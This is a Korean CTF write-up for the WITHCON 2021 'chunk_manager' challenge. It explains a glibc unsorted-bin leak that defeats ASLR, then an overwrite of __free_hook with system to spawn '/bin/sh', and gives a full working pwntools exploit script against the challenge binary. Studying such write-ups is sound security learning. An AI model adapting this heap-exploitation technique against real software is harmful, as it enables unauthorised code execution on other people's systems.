[CTF write up] WITHCON 2021 - chunk_manager : Unsorted bin leak (WhiteHatContest)

2022. 5. 2. 16:22CTF write up

system("/bin/sh");

 

당시 솔버 수가 굉장히 적은 문제였던 걸로 기억하는데, 지금 풀어보니 말도 안되게 쉬운 문제였다..

 

풀고 난 후 출제진 설명을 보니 AAW 취약점으로 breaking calloc 버그를 일으켜 메모리 주소를 유출하는 것이 의도된 풀이인 것으로 확인된다. 하지만 breaking calloc 트릭을 알지 못하더라도  unsorted bin의 특징을 알면 매우 쉽게 메모리를 유출 할 수 있다.

 

작은 크기의 청크 할당이 요청 될 경우 unsorted bin에 청크가 있을 때 해당 청크를 떼주게 된다. 따라서 큰 unsorted bin 크기의 청크를 해제하고 작은 크기의 청크를 할당하면 unsorted bin에 들어있는 프리 청크 바로 위에 요청한 청크가 할당된다. AAW로 내부 값을 전부 채워주면 unsorted bin 프리 청크에 있는 main_arena 주소를 유출하여 ASLR을 우회할 수 있다. 메모리 유출에 성공한 후 다시 AAW 취약점을 이용해 청크 사이즈를 복구시켜주는 것으로 오류가 발생하지 않게 만들어주면 프로그램 흐름을 계속해서 이어갈 수 있다.

 

위와 같은 방법으로 heap 주소까지 유출한 후 free_hook 까지의 오프셋을 계산해 AAW 취약점으로 system 함수 주소로 오버라이트 하고 /bin/sh 문자열이 들어있는 청크를 해제하면 shell을 얻을 수 있다.

 

참고로 특정 최하위 프리 청크의 할당된 청크를 해제할때 free_hook이 실행되지 않는 것 같으니 기존에 쓰던 청크에 /bin/sh를 넣어주고 해제해줘야 잘 작동한다. 또한 calloc은 tcache에 있는 프리 청크를 재사용하지 않으니 이 부분도 신경 써주자.

 

 

 

from pwn import *

def command_allocate(index,size):
    time.sleep(0.1)
    p.sendline(b'1')
    time.sleep(0.1)
    p.sendline(str(index).encode())
    time.sleep(0.1)
    p.sendline(str(size).encode())

def command_print(index):
    time.sleep(0.1)
    p.sendline(b'2')
    time.sleep(0.1)
    p.sendline(str(index).encode())

def command_fill(index,offset,content):
    time.sleep(0.1)
    p.sendline(b'3')
    time.sleep(0.1)
    p.sendline(str(index).encode())
    time.sleep(0.1)
    p.sendline(str(offset).encode())
    time.sleep(0.1)
    p.send(content)
    time.sleep(0.1)

def command_free(index):
    time.sleep(0.1)
    p.sendline(b'4')
    time.sleep(0.1)
    p.sendline(str(index).encode())

def command_exit():
    p.sendline(b'5')

p = process('chunk_manager')

raw_input()

for i in range(0,8):
    command_allocate(i,140)
for i in range(7,-1,-1):
    command_free(i)

command_allocate(2,16)
command_allocate(0,16)
for i in range(0,4):
    command_fill(0,i*8,b'a'*8)

command_print(0)
libc_lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'lic : {hex(libc_lic)}')

command_fill(0,3*8,b'\x61'+b'\x00'*7)

command_allocate(1,0x50)
command_free(0)

for i in range(0,5):
    command_fill(2,i*8,b'a'*8)

p.clean()
command_print(2)
heap_lic = u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00'))
print(f'lic : {hex(heap_lic)}')

command_fill(2,3*8,b'\x21'+b'\x00'*7)
command_fill(2,4*8,b'\x00'*8)

system_addr = libc_lic - 0x39c750
free_hook_addr = libc_lic + 0x1c48

current_heap = heap_lic + 0x250

print(f'system : {hex(system_addr)}')
print(f'free_hook : {hex(free_hook_addr)}')
print(f'current_heap : {hex(current_heap)}')

command_fill(2,free_hook_addr-current_heap,p64(system_addr))

command_fill(2,0,b'/bin/sh\x00')
raw_input()
command_free(2)

p.interactive()